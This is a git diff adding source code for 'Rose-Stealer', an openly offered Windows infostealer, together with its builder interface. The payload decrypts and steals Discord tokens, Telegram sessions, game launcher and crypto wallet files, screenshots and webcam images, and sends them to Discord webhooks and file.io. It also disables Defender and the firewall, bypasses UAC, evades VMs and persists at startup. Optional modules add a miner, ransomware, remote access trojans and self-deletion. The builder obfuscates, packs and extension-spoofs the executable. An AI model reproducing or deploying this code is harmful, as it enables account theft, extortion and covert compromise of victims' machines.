"" and badge == "": + nitro = "`None`" + + current_time_iso = datetime.now().isoformat() + data = { + "content": "", + "embeds": [ + { + "title": "Rose Report", + "description": "Rose Instance - Token Information", + "color": cc.get_color(), + "fields": [ + { + "name": "Token:", + "value": f"||`{token}`||", + "inline": False, + }, + { + "name": "Email:", + "value": f"`{email}`", + "inline": False, + }, + { + "name": "Phone:", + "value": f"`{phone}`", + "inline": False, + }, + { + "name": "Badges:", + "value": f"{nitro}{badge}", + "inline": False, + }, + { + "name": "Billing:", + "value": f"{billing}", + "inline": False, + }, + { + "name": "Friends:", + "value": f"{friends}", + "inline": False, + }, + ], + "author": { + "name": f"{username}#{hashtag} ({idd})", + "icon_url": f"{pfp}", + }, + "footer": { + "text": cc.get_footer(), + "icon_url": cc.get_avatar(), + }, + "thumbnail": {"url": f"{pfp}"}, + "timestamp": current_time_iso, + } + ], + "avatar_url": cc.wh_avatar, + "username": cc.wh_name, + "attachments": [], + } + urlopen(Request(self.webhook, data=dumps(data).encode(), headers=headers)) + + +class get_games: + def __init__(self): + self.cc = Config() + + self.webx = _WebhookX().get_object() + + self.embed = Embed(title="Rose Report", description="Rose Instance - Games and Application Grabber", color=self.cc.get_color(), timestamp=datetime.now().isoformat()) + + self.embed.set_author(name=self.cc.get_name(), icon_url=self.cc.get_avatar()) + self.embed.set_footer(text=self.cc.get_footer(), icon_url=self.cc.get_avatar()) + + self.userProfile = os.getenv("userprofile") + self.roaming = os.getenv("appdata") + self.tdata_path = os.path.join(self.roaming, "Telegram Desktop", "tdata") + self.uplay_launcher_path = os.path.join(self.roaming, "Ubisoft Game Launcher") + self.epic_games_path = os.path.join(self.roaming, "EpicGamesLauncher", "Saved") + self.steam_path = r"C:\Program Files (x86)\Steam\config" + self.exodus_path = os.path.join(self.roaming, "Exodus", "exodus.wallet") + self.minecraftPaths = { + "Intent": os.path.join(self.userProfile, "intentlauncher", "launcherconfig"), + "Lunar": os.path.join(self.userProfile, ".lunarclient", "settings", "game", "accounts.json"), + "TLauncher": os.path.join(self.roaming, ".minecraft", "TlauncherProfiles.json"), + "Feather": os.path.join(self.roaming, ".feather", "accounts.json"), + "Meteor": os.path.join(self.roaming, ".minecraft", "meteor-client", "accounts.nbt"), + "Impact": os.path.join(self.roaming, ".minecraft", "Impact", "alts.json"), + "Novoline": os.path.join(self.roaming, ".minectaft", "Novoline", "alts.novo"), + "CheatBreakers": os.path.join(self.roaming, ".minecraft", "cheatbreaker_accounts.json"), + "Microsoft Store": os.path.join(self.roaming, ".minecraft", "launcher_accounts_microsoft_store.json"), + "Rise": os.path.join(self.roaming, ".minecraft", "Rise", "alts.txt"), + "Rise (Intent)": os.path.join(self.userProfile, "intentlauncher", "Rise", "alts.txt"), + "Paladium": os.path.join(self.roaming, "paladium-group", "accounts.json"), + "PolyMC": os.path.join(self.roaming, "PolyMC", "accounts.json"), + "Badlion": os.path.join(self.roaming, "Badlion Client", "accounts.json"), + } + self.rose_path = os.path.join(self.roaming, "roseontop") + self.telegram_folder = os.path.join(self.rose_path, "Telegram") + self.steam_folder = os.path.join(self.rose_path, "Steam") + self.uplay_folder = os.path.join(self.rose_path, "Uplay") + self.minecraft_folder = os.path.join(self.rose_path, "Minecraft") + self.epic_games_folder = os.path.join(self.rose_path, "Epic Games") + self.exodus_folder = os.path.join(self.rose_path, "Exodus") + self.games_zip = os.path.join(self.rose_path, "Games.zip") + + def get_games(self): + if not os.path.exists(self.tdata_path): + self.telegram_check = True + else: + self.telegram_check = False + + if os.path.exists(self.telegram_folder): + shutil.rmtree(self.telegram_folder) + + if os.path.exists(self.tdata_path): + try: + shutil.copytree(self.tdata_path, self.telegram_folder) + except Exception: + self.telegram_check = True + pass + + if not os.path.exists(self.epic_games_path): + self.epic_games_check = True + else: + self.epic_games_check = False + + if os.path.exists(self.epic_games_folder): + shutil.rmtree(self.epic_games_folder) + + if os.path.exists(self.epic_games_path): + try: + shutil.copytree(self.epic_games_path, self.epic_games_folder) + except Exception: + self.epic_games_check = True + pass + + if not os.path.exists(self.steam_path): + self.steam_check = True + else: + self.steam_check = False + + if os.path.exists(self.steam_folder): + shutil.rmtree(self.steam_folder) + + if os.path.exists(self.steam_path): + try: + shutil.copytree(self.steam_path, self.steam_folder) + except Exception: + self.steam_check = True + pass + + if not os.path.exists(self.uplay_launcher_path): + self.uplay_check = True + else: + self.uplay_check = False + + if os.path.exists(self.uplay_folder): + shutil.rmtree(self.uplay_folder) + + if os.path.exists(self.uplay_launcher_path): + try: + shutil.copytree(self.uplay_launcher_path, self.uplay_folder) + except Exception: + self.uplay_check = True + pass + + if not os.path.exists(self.exodus_path): + self.exodus_check = True + else: + self.exodus_check = False + + if os.path.exists(self.exodus_folder): + shutil.rmtree(self.exodus_folder) + + if os.path.exists(self.exodus_path): + try: + shutil.copytree(self.exodus_path, self.exodus_folder) + except Exception: + self.exodus_check = True + pass + + if os.path.exists(self.minecraft_folder): + shutil.rmtree(self.minecraft_folder) + + self.minecraft_check = True + for self.minecraftPath in self.minecraftPaths.values(): + if os.path.exists(self.minecraftPath): + self.minecraft_check = False + try: + print(os.path.basename(os.path.dirname(self.minecraftPath))) + print(os.path.join(self.minecraft_folder, os.path.basename(os.path.dirname(self.minecraftPath)))) + if not os.path.exists(self.minecraft_folder): + os.mkdir(self.minecraft_folder) + if not os.path.exists(os.path.join(self.minecraft_folder, os.path.basename(os.path.dirname(self.minecraftPath)))): + os.mkdir(os.path.join(self.minecraft_folder, os.path.basename(os.path.dirname(self.minecraftPath)))) + shutil.copy(self.minecraftPath, os.path.join(self.minecraft_folder, os.path.basename(os.path.dirname(self.minecraftPath)))) + except Exception as e: + pass + + if not self.epic_games_check or not self.steam_check or not self.uplay_check or not self.telegram_check or not self.minecraft_check or not self.exodus_check: + if not os.path.exists(self.games_zip): + with zipfile.ZipFile(self.games_zip, "w", compression=zipfile.ZIP_DEFLATED) as zf: + if not self.telegram_check: + for root, dirs, files in os.walk(self.telegram_folder): + for file in files: + file_path = os.path.join(root, file) + arcname = os.path.relpath(file_path, self.telegram_folder) + arcname = os.path.join("Telegram", arcname) + zf.write(file_path, arcname) + + if not self.epic_games_check: + for root, dirs, files in os.walk(self.epic_games_folder): + for file in files: + file_path = os.path.join(root, file) + arcname = os.path.relpath(file_path, self.epic_games_folder) + arcname = os.path.join("Epic Games", arcname) + zf.write(file_path, arcname) + + if not self.steam_check: + for root, dirs, files in os.walk(self.steam_folder): + for file in files: + file_path = os.path.join(root, file) + arcname = os.path.relpath(file_path, self.steam_folder) + arcname = os.path.join("Steam", arcname) + zf.write(file_path, arcname) + + if not self.uplay_check: + for root, dirs, files in os.walk(self.uplay_folder): + for file in files: + file_path = os.path.join(root, file) + arcname = os.path.relpath(file_path, self.uplay_folder) + arcname = os.path.join("Uplay", arcname) + zf.write(file_path, arcname) + + if not self.exodus_check: + for root, dirs, files in os.walk(self.exodus_folder): + for file in files: + file_path = os.path.join(root, file) + arcname = os.path.relpath(file_path, self.exodus_folder) + arcname = os.path.join("Exodus", arcname) + zf.write(file_path, arcname) + + if not self.minecraft_check: + for root, dirs, files in os.walk(self.minecraft_folder): + for file in files: + file_path = os.path.join(root, file) + arcname = os.path.relpath(file_path, self.minecraft_folder) + arcname = os.path.join("Minecraft", arcname) + zf.write(file_path, arcname) + + upload_url = "https://file.io" + files = {"file": (self.games_zip, open(self.games_zip, "rb"))} + response = requests.post(upload_url, files=files) + + if response.status_code == 200: + self.download_link = response.json().get("link", "Unknown") + else: + self.download_link = "Unknown" + + self.embed.add_field(name="Games", value=f"[Download]({self.download_link})", inline=False) + + self.webx.send(embed=self.embed) + + +if cc.get_antivm(): + try: + if user_check(): + os._exit(1) + if hwid_check(): + os._exit(1) + if ip_check(): + os._exit(1) + if registry_check(): + os._exit(1) + if dll_check(): + os._exit(1) + if specs_check(): + os._exit(1) + if proc_check(): + os._exit(1) + if mac_check(): + os._exit(1) + process_check() + except Exception as e: + send_error_notification(e, "Rose Anti-VM") + +if cc.get_uac_bypass(): + try: + if not IsAdmin(): + if GetSelf()[1]: + if UACbypass(): + os._exit(1) + else: + param = " ".join(sys.argv) + if ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, param, None, 1) > 32: + os._exit(0) + except Exception as e: + send_error_notification(e, "Rose UAC Bypass") + +if IsAdmin(): + dir_name = "rose" + roaming = os.getenv("APPDATA") + working_dir = os.path.join(roaming, dir_name) + startup_loc = os.path.join(roaming, "Microsoft", "Windows", "Start Menu", "Programs", "Startup") + + if cc.get_disable_protectors(): + subprocess.run("netsh advfirewall set domainprofile state off", shell=True) + subprocess.run('Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableRealtimeMonitoring" -Value 1', shell=True) + subprocess.run("powershell -Command \"Add-MpPreference -ExclusionPath '{}','{}'\"".format(working_dir, startup_loc), shell=True) + subprocess.run('powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"', shell=True) + if cc.get_block_sites(): + block_sites() + +if cc.get_start_up(): + try: + Startup() + except Exception as e: + send_error_notification(e, "Rose Startup") + +if not os.path.exists(main_path): + try: + os.mkdir(main_path) + except Exception as e: + pass + +if cc.get_fake_error(): + try: + ctypes.windll.user32.MessageBoxW(0, "This application failed to start because d3dx9_43.dll was not found. Re-installing the application may fix this problem.", f"{os.path.basename(__file__)} - System Error", 16) + except Exception as e: + send_error_notification(e, "Rose Fake Error") + +if cc.get_discord_ping(): + try: + webx = _WebhookX().get_object() + webx.send("@everyone") + except Exception as e: + send_error_notification(e, "Rose Ping") + + +def DecryptValue(buff, master_key=None): + starts = buff.decode(encoding="utf8", errors="ignore")[:3] + if starts in ("v10", "v11"): + iv = buff[3:15] + payload = buff[15:] + cipher = AES.new(master_key, AES.MODE_GCM, iv) + decrypted_pass = cipher.decrypt(payload) + decrypted_pass = decrypted_pass[:-16].decode() + return decrypted_pass + + +def CryptUnprotectData2(encrypted_bytes, entropy=b""): + buffer_in = c_buffer(encrypted_bytes, len(encrypted_bytes)) + buffer_entropy = c_buffer(entropy, len(entropy)) + blob_in = DATA_BLOB(len(encrypted_bytes), buffer_in) + blob_entropy = DATA_BLOB(len(entropy), buffer_entropy) + blob_out = DATA_BLOB() + + if windll.crypt32.CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0x01, byref(blob_out)): + return GetData(blob_out) + + +Tokens = "" +dclass = DiscordX() + + +def GetDiscord(path, arg): + if not os.path.exists(f"{path}/Local State"): + return + + pathC = path + arg + + pathKey = path + "/Local State" + with open(pathKey, "r", encoding="utf-8") as f: + local_state = loads(f.read()) + master_key = b64decode(local_state["os_crypt"]["encrypted_key"]) + master_key = CryptUnprotectData2(master_key[5:]) + + for file in os.listdir(pathC): + if file.endswith(".log") or file.endswith(".ldb"): + for line in [x.strip() for x in open(f"{pathC}\\{file}", errors="ignore").readlines() if x.strip()]: + for token in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line): + global Tokens + tokenDecoded = DecryptValue(b64decode(token.split("dQw4w9WgXcQ:")[1]), master_key) + if dclass.checkToken(tokenDecoded) and tokenDecoded not in Tokens: + Tokens += tokenDecoded + dclass.uploadToken(tokenDecoded) + + +def GetTokens(path, arg): + if not os.path.exists(path): + return + + path += arg + for file in os.listdir(path): + if file.endswith(".log") or file.endswith(".ldb"): + for line in [x.strip() for x in open(f"{path}\\{file}", errors="ignore").readlines() if x.strip()]: + for regex in ( + r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", + r"mfa\.[\w-]{80,95}", + ): + for token in re.findall(regex, line): + global Tokens + if dclass.checkToken(token) and token not in Tokens: + Tokens += token + dclass.uploadToken(token) + + +discordPaths = [ + [f"{roaming}/Discord", "/Local Storage/leveldb"], + [f"{roaming}/Lightcord", "/Local Storage/leveldb"], + [f"{roaming}/discordcanary", "/Local Storage/leveldb"], + [f"{roaming}/discordptb", "/Local Storage/leveldb"], +] + +if cc.get_token_stealing(): + for patt in discordPaths: + a = threading.Thread(target=GetDiscord, args=[patt[0], patt[1]]) + a.start() + Threadlist.append(a) + +if cc.get_browser_stealing(): + try: + browsers = Browsers(webhook) + except Exception as e: + send_error_notification(e, "Rose Browser Stealer") + +if cc.get_screenshot(): + try: + rndm_strr = get_random_string(5) + path = os.path.join(main_path, f"screenshot_{rndm_strr}.png") + screenshot = ImageGrab.grab() + screenshot.save(path) + + webx = _WebhookX().get_object() + + embed = Embed(title="Rose Report", description="Rose Instance - Screenshot", color=eb_color, timestamp=datetime.now().isoformat()) + + embed.set_author(name=wh_name, icon_url=wh_avatar) + embed.set_footer(text=eb_footer, icon_url=wh_avatar) + + file = File(path, name="screenshot.png") + + embed.set_image(url=f"attachment://screenshot.png") + + webx.send(embed=embed, file=file) + + os.remove(path) + except Exception as e: + send_error_notification(e, "Rose Screenshot Stealer") + +if cc.get_webcam(): + pygame.camera.init() + + camlist = pygame.camera.list_cameras() + + try: + rndm_strr = get_random_string(5) + if camlist: + cam = pygame.camera.Camera(camlist[0], (640, 480)) + cam.start() + image = cam.get_image() + path = os.path.join(main_path, f"webcam_{rndm_strr}.png") + pygame.image.save(image, path) + cam.stop() + webx = _WebhookX().get_object() + + embed = Embed(title="Rose Report", description="Rose Instance - Webcam", color=eb_color, timestamp=datetime.now().isoformat()) + + embed.set_author(name=wh_name, icon_url=wh_avatar) + embed.set_footer(text=eb_footer, icon_url=wh_avatar) + + file = File(path, name="webcam.png") + + embed.set_image(url=f"attachment://webcam.png") + + webx.send(embed=embed, file=file) + + os.remove(path) + except Exception as e: + send_error_notification(e, "Rose Webcam Stealer") + +if cc.get_games(): + try: + get_games().get_games() + except Exception as e: + send_error_notification(e, "Rose Games and Application Grabber") + +if cc.get_deviceinf_stealing(): + try: + send_device_information() + except Exception as e: + send_error_notification(e, "Rose Device Data Stealing") + +if cc.get_ipinf_stealing(): + try: + ifx.send_data() + except Exception as e: + send_error_notification(e, "Rose IP & Wi-Fi Data") + +if cc.get_injection(): + try: + InjectionX(webhook) + except Exception as e: + send_error_notification(e, "Rose Discord Injection") + +if cc.get_roblox_stealing(): + try: + RobloxX().run() + except Exception as e: + send_error_notification(e, "Rose Roblox Stealer") + +if os.path.exists(main_path): + try: + shutil.rmtree(main_path) + except Exception as e: + pass + +if cc.get_xmr_miner(): + try: + threading.Thread(target=xmrig()).start() + except Exception as e: + send_error_notification(e, "XMR Miner") + +if cc.get_ransomware(): + try: + threading.Thread(target=ransomware()).start() + except Exception as e: + send_error_notification(e, "Rose Ransomware") + +if cc.get_knight_discord_rat(): + try: + threading.Thread(target=run_knight_rat()).start() + except Exception as e: + send_error_notification(e, "Knight Remote Access") + +if cc.get_rose_discord_rat(): + try: + threading.Thread(target=run_rose_rat()).start() + except Exception as e: + send_error_notification(e, "Rose Remote Access") + +if cc.get_tsbsod(): + try: + if not os.path.dirname(os.path.realpath(__file__)) == os.path.join(os.getenv("APPDATA"), "rose"): + Trigger() + except Exception as e: + send_error_notification(e, "Rose Trigger BSOD") + +if cc.get_rose_melt_stub(): + try: + if not (cc.get_knight_discord_rat() or cc.get_rose_discord_rat() or cc.get_ransomware()): + path = sys.argv[0] + + subprocess.Popen('ping localhost -n 3 > NUL && del /A H /F "{}"'.format(path), shell=True, creationflags=subprocess.CREATE_NEW_CONSOLE | subprocess.SW_HIDE) + + sys.exit() + except Exception as e: + send_error_notification(e, "Rose Anti Debug") diff --git a/Rose-Stealerv1/resources/ui/builder.py b/Rose-Stealerv1/resources/ui/builder.py new file mode 100644 index 0000000..2786800 --- /dev/null +++ b/Rose-Stealerv1/resources/ui/builder.py @@ -0,0 +1,611 @@ +import sys +import platform +import os + +if int(platform.python_version_tuple()[0] + platform.python_version_tuple()[1]) > 311: + input("Python 3.12+ is not supported at this time, downgrade to Python 3.11.") + os._exit(1) +if sys.executable.endswith("pythonw.exe"): + sys.stdout = open(os.devnull, "w") + sys.stderr = open(os.path.join(os.getenv("TEMP"), "stderr-{}".format(os.path.basename(sys.argv[0]))), "w") +import string +import requests +import ctypes +import random +import logging +import subprocess +import re +import webbrowser +import asyncio +import shutil +from nicegui import ui, app +from tkinter import filedialog +from dhooks import Webhook, Embed +from pathlib import Path +from concurrent.futures import ProcessPoolExecutor +from multiprocessing import Manager, Queue + +pool = ProcessPoolExecutor() + +logging.basicConfig(level=logging.DEBUG, filename="roselog.log", filemode="a", format="[%(filename)s:%(lineno)d] - %(asctime)s - %(levelname)s - %(message)s") + +logger = logging.getLogger(__name__) + +__title__ = 'Rose UI Builder' +__avatar__ = 'https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/assets/rose.png' +__version__ = '2.3' +__debugm__ = True +__icon__ = "https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/assets/rose.png" +__devmsg__ = requests.get("https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/ui/msg.txt").text.splitlines()[0].split(" - ") + +data_builder = {"webhook_url": "", "build_name": "", "startup": False, "injection": False, "token": False, "browser": False, "deviceinf": False, "ipinf": False, "roblox": False, "rose_rat": False, "rose_rat_url": "", "knight_rat": False, "knight_bot_token": "", "knight_channel_id": "", "knight_prefix": "", "screenshot": False, "ping": False, "fake_error": False, "silent_crypto_miner": False, "wallet_adress": "", "file_pumper": False, "file_pumper_size": "", "uac_bypass": False, "disable_defender": False, "disable_firewalls": False, "antivm": False, "webcam": False, "obfuscation": False, "type_file": "", "ransomware_monero_wallet_adress": "", "ransomware_email_adress": "", "ransomware_discord_webhook_url": "", "ransomware": False, "extension_spoofer": False, "spoofed_extension": "", "spread_malware": False, "spread_malware_message": "", "ransomware_amount_of_money": "", "rose_melt_stub": False, "games": False, "tbsod": False, "bsites": False, "disableprot": False} + +links = {"xpierroz_github": "https://github.com/xpierroz", "xpierroz_insta": "https://www.instagram.com/_p.slm/", "gumbobr0t_github": "https://github.com/gumbobr0t", "suegdu_github": "https://github.com/suenerve", "svn_github": "https://github.com/suvan1911", "smth_github": "https://github.com/smthpy", "rose_github": "https://github.com/rose-dll/Rose-Stealer", "rose_discord": "https://discord.gg/sMawrDqnta"} + +logger.critical(f"Rose UI Builder is using version {str(__version__)}") + + +def open_link(key): + webbrowser.open(links[key]) + + +def auto_update(): + if __debugm__: + return + + _code = "https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/ui/builder.py" + + code = requests.get(_code, timeout=10).text + pattern = r"__version__ = '([\d\.]+)'" + resultats = re.search(pattern, code) + if resultats: + version = resultats.group(1) + if version != __version__: + f = ctypes.windll.user32.MessageBoxW(0, f"A new version has been detected.\nWould you like to download the new version?\nCurrent version: {str(__version__)} | New version {str(version)}", "Rose-Grabber", 4) + if f == 6: + webbrowser.open("https://github.com/rose-dll/Rose-Stealer/archive/refs/heads/main.zip") + os._exit(0) + + +def change_data(key, value): + logger.info("change_data called with key " + key + " and value " + str(value)) + global data_builder + data_builder[key] = value + logger.info("data_builder: " + str(data_builder)) + return + + +async def _test_webhook(): + result = await test_webhook(data_builder["webhook_url"]) + if result == 0: + ui.notify("Webhook successfuly executed!", timeout=30, progress=True, avatar=__avatar__, color="green", position="top-left") + return + ui.notify("Webhook failed to execute!", timeout=30, progress=True, avatar=__avatar__, color="red", position="top-left") + + +def replace_discord_url(url): + url = url.replace("discordapp.com", "discord.com") + url = url.replace("canary.", "") + url = url.replace("ptb.", "") + + return url + + +async def test_webhook(webhook_url): + try: + async with Webhook.Async(replace_discord_url(webhook_url)) as hook: + embed = Embed(description="Webhook is Working", color=11795068, timestamp="now") + embed.set_author(name="Success", icon_url=__icon__) + embed.set_footer(text="Rose-Stealer | t.me/rosegrabber", icon_url=__icon__) + await hook.send(embed=embed, username="Rose-Stealer | t.me/rosegrabber", avatar_url="https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/assets/rose.png") + return 0 + except Exception as e: + logger.error(f"Webhook failed to execute - Link: {webhook_url} - Error: {e}") + return 1 + + +def gen_random(c: int): + characters = string.ascii_letters + string.digits + return "".join(random.choice(characters) for _ in range(c)) + + +def _makebuild(q: Queue, data_builder) -> str: + logger.info("Entered _makebuild") + logger.info("data_builder: " + str(data_builder)) + if data_builder["webhook_url"] == "": + ui.notify("Webhook URL is empty!", timeout=30, progress=True, avatar=__avatar__, color="red", position="top-left") + return + if data_builder["build_name"] == "": + ui.notify("Build Name is empty!", timeout=30, progress=True, avatar=__avatar__, color="red", position="top-left") + return + if data_builder["rose_rat"] and data_builder["rose_rat_url"] == "": + ui.notify("Rose-RAT URL is empty!", timeout=30, progress=True, avatar=__avatar__, color="red", position="top-left") + return + if data_builder["knight_rat"] and data_builder["knight_bot_token"] == "": + ui.notify("Knight-RAT Bot Token is empty!", timeout=30, progress=True, avatar=__avatar__, color="red", position="top-left") + return + + if data_builder["type_file"] == "": + ui.notify("No build type selected!", timeout=30, progress=True, avatar=__avatar__, color="red", position="top-left") + return + + if data_builder["file_pumper_size"] == "": + data_builder["file_pumper_size"] = None + + if data_builder["rose_rat_url"] == "": + data_builder["rose_rat_url"] = ".rat" + + ui.notify("Build has been started!", timeout=30, progress=True, avatar=__avatar__, color="green", position="top-left") + + path = os.path.join(Path(__file__).resolve().parent, data_builder["build_name"]) + rosef = os.path.join(path, "rose.py") + rosefu = os.path.join(path, "obf-rose.py") + rosefub = os.path.join(path, "obf2-rose.py") + blankobf = os.path.join(Path(__file__).resolve().parent.parent, "utils", "obfuscation", "blankobf.py") + pycloak = os.path.join(Path(__file__).resolve().parent.parent, "utils", "obfuscation", "pycloak-main") + rvenv = os.path.join(Path(__file__).resolve().parent.parent.parent, "rosevenv", "Scripts", "activate") + final = "dist\\Built.exe" + post = os.path.join(Path(__file__).resolve().parent.parent, "utils", "comp", "post.py") + + logger.info(path + rosef + rosefu + blankobf) + + def create_dir(): + logger.info("Entered create_dir") + try: + logger.info(f"Path in create_dir is {path}") + os.mkdir(path) + except Exception as e: + logger.error(f"Error in create_dir: {e}") + + def get_files(): + try: + logging.info("Entered get_files") + shutil.copy(os.path.join(Path(__file__).resolve().parent.parent, "source", "rose.py"), path) + logger.info(f"Successfully copied components to {path}") + except Exception as e: + logger.error(f"Error in get_files: {e}") + + def edit_config(): + try: + logger.info("Entered edit_config") + with open(rosef, "r", encoding="utf-8") as f: + text = f.read() + new = ( + text.replace("WEBHOOK_URL", f"{replace_discord_url(data_builder['webhook_url'])}") + .replace("rose_discord_rat = False", f"rose_discord_rat = {data_builder['rose_rat']}") + .replace("ROSE_DISCORD_RAT_SOCKET_LINK", f"{data_builder['rose_rat_url']}") + .replace("knight_discord_rat = False", f"knight_discord_rat = {data_builder['knight_rat']}") + .replace("KNIGHT_DISCORD_RAT_BOT_TOKEN", f"{data_builder['knight_bot_token']}") + .replace("KNIGHT_DISCORD_RAT_CHANNEL_ID", f"{data_builder['knight_channel_id']}") + .replace("KNIGHT_DISCORD_RAT_PREFIX", f"{data_builder['knight_prefix']}") + .replace("start_up = False", f"start_up = {data_builder['startup']}") + .replace("injection = False", f"injection = {data_builder['injection']}") + .replace("browser_stealing = False", f"browser_stealing = {data_builder['browser']}") + .replace("token_stealing = False", f"token_stealing = {data_builder['token']}") + .replace("deviceinf_stealing = False", f"deviceinf_stealing = {data_builder['deviceinf']}") + .replace("ipinf_stealing = False", f"ipinf_stealing = {data_builder['ipinf']}") + .replace("roblox_stealing = False", f"roblox_stealing = {data_builder['roblox']}") + .replace("screenshot = False", f"screenshot = {data_builder['screenshot']}") + .replace("discord_ping = False", f"discord_ping = {data_builder['ping']}") + .replace("uac_bypass = False", f"uac_bypass = {data_builder['uac_bypass']}") + .replace("xmr_miner = False", f"xmr_miner = {data_builder['silent_crypto_miner']}") + .replace("wallet_adressss", f"{data_builder['wallet_adress']}") + .replace("disable_defender = False", f"disable_defender = {data_builder['disable_defender']}") + .replace("disable_firewalls = False", f"disable_firewalls = {data_builder['disable_firewalls']}") + .replace("fake_error = False", f"fake_error = {data_builder['fake_error']}") + .replace("antivm = False", f"antivm = {data_builder['antivm']}") + .replace("webcam = False", f"webcam = {data_builder['webcam']}") + .replace("ransomware = False", f"ransomware = {data_builder['ransomware']}") + .replace("RANS0MWARE_EMAIL", f"{data_builder['ransomware_email_adress']}") + .replace("RANSOMWARE_MONERO_ADRESS_", f"{data_builder['ransomware_monero_wallet_adress']}") + .replace("RANSOMWARE_WEBHOOKURL", f"{data_builder['ransomware_discord_webhook_url']}") + .replace("spread_malware = False", f"spread_malware = {data_builder['spread_malware']}") + .replace("SPRMALWARE_MSFG", f"{data_builder['spread_malware_message']}") + .replace("RANSOMWARE_AMOUNT_0F_MONEY", f"{data_builder['ransomware_amount_of_money']}") + .replace("rose_melt_stub = False", f"rose_melt_stub = {data_builder['rose_melt_stub']}") + .replace("games = False", f"games = {data_builder['games']}") + .replace("ts_bsod = False", f"ts_bsod = {data_builder['tbsod']}") + .replace("block_sites = False", f"block_sites = {data_builder['bsites']}") + .replace("disable_protectors = False", f"disable_protectors = {data_builder['disableprot']}") + ) + + with open(rosef, "w", encoding="utf-8") as f: + f.write(new) + except Exception as e: + logger.error(f"Error in edit_config: {e}") + + def obfuscate(): + logger.info("Entered obfuscate") + if data_builder["obfuscation"]: + logger.info("Entering obfuscate") + try: + logger.info("Entering obfuscate process") + obf1 = f'call "{rvenv}" && python "{blankobf}" -o "{rosefu}" "{rosef}"' + logger.info(obf1) + subprocess.call(obf1, shell=True, stderr=subprocess.STDOUT) + install = f'call "{rvenv}" && cd "{pycloak}" && pip install .' + logger.info(install) + subprocess.call(install, shell=True, stderr=subprocess.STDOUT) + obf2 = f'call "{rvenv}" && pycloak -o "{rosefub}" -d "{rosefu}"' + logger.info(obf2) + subprocess.call(obf2, shell=True, stderr=subprocess.STDOUT) + os.remove(rosefu) + logger.info("Finished obfuscate process") + except Exception as e: + logger.error(f"Error in obfuscate: {e}") + + def pump_file(): + logger.info("Entered pump_file") + pumping_proc = 0 + if data_builder["file_pumper"]: + if data_builder["file_pumper_size"] is not None: + logger.info(f"DEBUGGING File pumper size is set to {data_builder['file_pumper_size']} MB") + logger.info("Entering file pump process") + try: + b_size = int(data_builder["file_pumper_size"]) * 1048576 + bufferSize = 256 + with open(f"{data_builder['build_name']}.exe", "ab") as f: + for i in range(b_size // bufferSize): + f.write(bytes([0] * bufferSize)) + pumping_proc += 1 + logger.info(f"Pumped successfuly for {pumping_proc} times ({data_builder['file_pumper_size']})") + logger.info("Finished file pump process") + except Exception as e: + logger.error(f"Error in pumping file: {e}") + + def compile_python(): + logger.info("Entered py compile") + upx_dir = os.path.join(Path(__file__).resolve().parent.parent, "utils", "upx-4.1.0-win64") + himports = [ + "os", + "re", + "ctypes", + "pygame", + "pygame.camera", + "subprocess", + "threading", + "sys", + "platform", + "shutil", + "sqlite3", + "string", + "random", + "browser_cookie3", + "base64", + "json", + "requests", + "psutil", + "discord", + "discord.ext", + "discord.ext.commands", + "winreg", + "win32con", + "keyboard", + "pywifi", + "pathlib", + "cv2", + "io", + "time", + "pyttsx3", + "webbrowser", + "socketio", + "uuid", + "socket", + "pyautogui", + "wmi", + "GPUtil", + "zipfile", + "getmac", + "errno", + "urllib", + "urllib.error", + "pynput", + "pynput.keyboard", + "cryptography", + "cryptography.fernet", + "win32crypt", + "dhooks", + "Crypto", + "Crypto.Cipher", + "Crypto.Cipher.AES", + "PIL", + "PIL.ImageGrab", + "zlib", + "mss", + "datetime", + "ctypes.windll", + "ctypes.c_int", + "ctypes.c_uint", + "ctypes.c_ulong", + "ctypes.POINTER", + "ctypes.byref", + "json.loads", + "json.dumps", + "zipfile.ZipFile", + "urllib.request", + "urllib.request.Request", + "urllib.request.urlopen", + "base64.b64decode", + "socketio", + "time", + "zlib.compress", + "mss.mss", + "lzma", + "aiohttp", + ] + himports = [item for item in himports if item] + + imports = " ".join(["--hidden-import=" + module for module in himports]) + compile_line = f'call "{rvenv}" && pyinstaller "{rosefub if data_builder["obfuscation"] else rosef}" --clean --name="Built" --upx-dir="{upx_dir}" --noconsole --onefile {imports}' + try: + logger.info("Entering python compile process") + logger.info(f"Python Compile CMD Line: {compile_line}") + output_file = "rosecompile.log" + subprocess.call(compile_line, shell=True, stdout=open(output_file, "w"), stderr=subprocess.STDOUT) + logger.info(f"Output of Python compile process saved in rosecompile.log") + subprocess.call(f'call "{rvenv}" && python "{post}" dist/Built.exe', shell=True, stderr=subprocess.STDOUT) + except Exception as e: + logger.error(f"Error in py compile: {e}") + + def cleanup(): + logger.info("Entered cleanup") + + try: + shutil.move(final, os.path.join(os.getcwd(), f"{data_builder['build_name']}.exe")) + shutil.rmtree(os.path.join(os.getcwd(), "build")) + shutil.rmtree(os.path.join(os.getcwd(), "dist")) + shutil.rmtree(os.path.join(os.getcwd(), "resources", "ui", data_builder["build_name"])) + os.remove(os.path.join(os.getcwd(), "Built.spec")) + except Exception as e: + logger.error(f"Error in cleanup: {e}") + + def assign_extension(): + logger.info("Entered assign_extension") + + old_exe_path = os.path.join(os.getcwd(), data_builder["build_name"] + ".exe") + new_scr_path = os.path.join(os.getcwd(), data_builder["build_name"] + ".scr") + if data_builder["type_file"] == "Screensaver (.scr)": + os.rename(old_exe_path, new_scr_path) + + def upx(): + logger.info("Entered upx") + try: + shutil.copy(os.path.join(Path(__file__).resolve().parent.parent, "utils", "upx-4.1.0-win64", "upx.exe"), os.getcwd()) + subprocess.run(f'upx -9kqvf {data_builder["build_name"]}.exe', shell=True) + os.remove(os.path.join(os.getcwd(), "upx.exe")) + except Exception as e: + logger.error(f"Error in upx: {e}") + logger.info("Finished upx") + + def extension_spoofer(): + logger.info("Entered extension_spoofer") + spoofer = "\u202e" + extension = data_builder["spoofed_extension"] + executable_to_spoof = 